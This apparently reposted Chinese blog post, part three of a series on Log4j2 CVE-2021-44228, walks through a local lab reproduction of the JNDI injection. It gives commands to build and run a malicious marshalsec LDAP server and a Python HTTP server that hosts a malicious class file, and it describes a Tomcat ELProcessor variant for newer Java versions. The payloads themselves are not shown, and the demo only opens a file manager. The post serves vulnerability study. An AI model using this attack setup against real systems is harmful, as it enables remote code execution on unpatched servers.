Log4j2注入漏洞(CVE-2021-44228)万字深度剖析—复现步骤(攻击方法)

Posted 程序员Daddy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Log4j2注入漏洞(CVE-2021-44228)万字深度剖析—复现步骤(攻击方法)相关的知识,希望对你有一定的参考价值。

系列文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

一、前言

通过如下前面两篇文章,我们已经熟悉了Log4j2本次漏洞的基本原理。接下来我们就一起来基于该漏洞对服务器进行攻击。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下基本方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121939902

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下基本方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121920264

二、Log4j2漏洞复现步骤(攻击方法)

1、基础环境说明与搭建

通过上述原理分析可知,我们主要涉及到三个系统:被攻击服务、恶意Ldap服务和恶意Codebase服务。

A、被攻击服务搭建

这个服务比较简单,只需部署一个简单的web工程,然后要引入log4j2(2.15.0以下版本)打印日志。然后编写一个简单的Controller将接口传入的参数通过日志打印出来即可。

B、恶意Ldap服务搭建

搭建Ldap服务有两个途径:自己使用ldapsdk的jar包实现一个ldap服务,或者使用现成的marshalsec实现。

这里我们选择使用现成的marshalsec实现。

首先我们从github上克隆该代码(https://github.com/mbechler/marshalsec

然后再工程根目录下执行mvn clean package -DskipTests对进行编译打包。

完成之后执行如下指令,在9999端口上启动该ldap服务:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999

开启之后会看到如下日志。

​ C、恶意Codebase服务搭建

这个服务比较简单,只需要在请求的时候,能够具体返回该请求对应的Class文件即可。

于是我们编写恶意代码Test.java,然后使用javac将其编译成Class文件。

然后我们在该目录执行python3 -m http.server 8888,在端口8888上基于该目录启动一个简单的http服务。当我们访问http://localhost:8888/Test.class的时候,该服务就会返回该目录下对应的Class文件。

2、Java低版本的复现步骤

现在我们开始执行恶意攻击。我们调用attack接口传入如下参数:

接着我们在Ldap的服务端可以看到如下日志,其表示其告诉客户端到Codebase去获取它需要的Class文件。

同时在Codebase的服务端可以看到如下日志。 标记了被攻击服务端来请求Test.class的记录和状态。

 然后电脑就会弹出文件管理器。至此攻击完成。

3、Java高版本的复现步骤

通过攻击原理我们知道,高版本攻击我们不依赖Codebase服务。但是我们需要Ldap服务器返回ELProcessor相关的类。所以我们需要对marshalsec源码进行修改。然后重新编译打包再启动服务。

因为咱们攻击依赖的ELProcessor和BeanFactory存在Tomcat包中。所以我们需要在marshalsec工程中引入Tomcat依赖。

 然后需要将LDAPRefServer类中的方法sendResult修改为如下内容:

然后我们通过mvn clean package -DskipTests对其进行重新编译打包。并通过java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999启动即可。(其实http://localhost:8888/#Test是Codebase地址我们没有使用,但是因为我们没有修改启动逻辑,所以仍然需要传递)

一切就绪之后,我们通过调用attack接口实现攻击了。

执行完成后,同样电脑就会弹出文件管理器。至此攻击完成。

三、惯例

如果你喜欢本文或觉得本文对你有所帮助,欢迎一键三连支持,非常感谢。

如果你对本文有任何疑问或者高见,欢迎添加公众号lifeofcoder共同交流探讨(添加公众号可以获得楼主最新博文推送以及”Java高级架构“上10G视频和图文资料哦)。

系列文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

以上是关于Log4j2注入漏洞(CVE-2021-44228)万字深度剖析—复现步骤(攻击方法)的主要内容,如果未能解决你的问题,请参考以下文章

Log4j2远程代码执行漏洞(cve-2021-44228)复现

vCenter修复Apache log4j2漏洞(CVE-2021-44228, CVE-2021-45046)

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现

Log4j2漏洞复现(CVE-2021-44228)

漏洞预警CVE-2021-44228:Apache Log4j2存在任意代码执行漏洞

log4j2漏洞CVE44228官方修复方案